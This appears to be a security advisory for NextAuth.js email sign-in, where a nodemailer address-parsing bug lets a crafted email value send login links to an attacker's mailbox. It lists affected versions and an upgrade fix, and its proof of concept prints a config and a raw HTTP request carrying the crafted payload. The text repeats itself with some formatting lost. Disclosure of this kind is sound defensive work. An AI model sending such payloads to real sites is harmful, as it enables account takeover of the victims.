Summary
NextAuth.js's email sign-in can be forced to deliver authentication emails to an attacker-controlled mailbox due to a bug in nodemailer's address parser used by the project (fixed in nodemailer v7.0.7). A crafted input such as:
is parsed incorrectly and results in the message being delivered to [email protected] (attacker) instead of "<[email protected]>@victim.com" (the intended recipient at victim.com) in violation of RFC 5321/5322 semantics. This allows an attacker to receive login/verification links or other sensitive emails intended for the victim.
Affected NextAuthjs Version
| ≤ Version |
Afftected |
| 4.24.11 |
Yes |
| 5.0.0-beta.29 |
Yes |
POC
Example Setup showing misdelivery of email
import NextAuth from "next-auth"
import Nodemailer from "next-auth/providers/nodemailer"
import { PrismaAdapter } from "@auth/prisma-adapter"
import { prisma } from "@/lib/prisma"
export const { handlers, auth, signIn, signOut } = NextAuth({
adapter: PrismaAdapter(prisma),
providers: [
Nodemailer({
server: {
host: "127.0.0.1",
port: 1025,
...
},
from: "[email protected]",
}),
],
pages: {
signIn: '/auth/signin',
verifyRequest: '/auth/verify-request',
},
})POST /api/auth/signin/nodemailer HTTP/1.1
Accept-Encoding: gzip, deflate, br, zstd
Cache-Control: no-cache
Connection: keep-alive
Content-Length: 176
DNT: 1
Host: localhost:3000
Origin: http://localhost:3000
Pragma: no-cache
Referer: http://localhost:3000/auth/signin
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
accept: */*
accept-language: en-US,en;q=0.9,ta;q=0.8
content-type: application/x-www-form-urlencoded
sec-ch-ua: "Google Chrome";v="141", "Not?A_Brand";v="8", "Chromium";v="141"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
x-auth-return-redirect: 1
email=%22e%40attacker.coccm%22%40victim.com&csrfToken=90f5e6f48ab577ab011f212011862dcfe546459c23764cf891aab2d176f8d77a&callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fauth%2Fsignin
Mitigation
Update to nodemailer 7.0.7
Credits
https://zeropath.com/ Helped identify this security issue
Summary
NextAuth.js's email sign-in can be forced to deliver authentication emails to an attacker-controlled mailbox due to a bug in
nodemailer's address parser used by the project (fixed innodemailerv7.0.7). A crafted input such as:is parsed incorrectly and results in the message being delivered to
[email protected](attacker) instead of"<[email protected]>@victim.com"(the intended recipient atvictim.com) in violation of RFC 5321/5322 semantics. This allows an attacker to receive login/verification links or other sensitive emails intended for the victim.Affected NextAuthjs Version
POC
Example Setup showing misdelivery of email
Mitigation
Update to nodemailer 7.0.7
Credits
https://zeropath.com/ Helped identify this security issue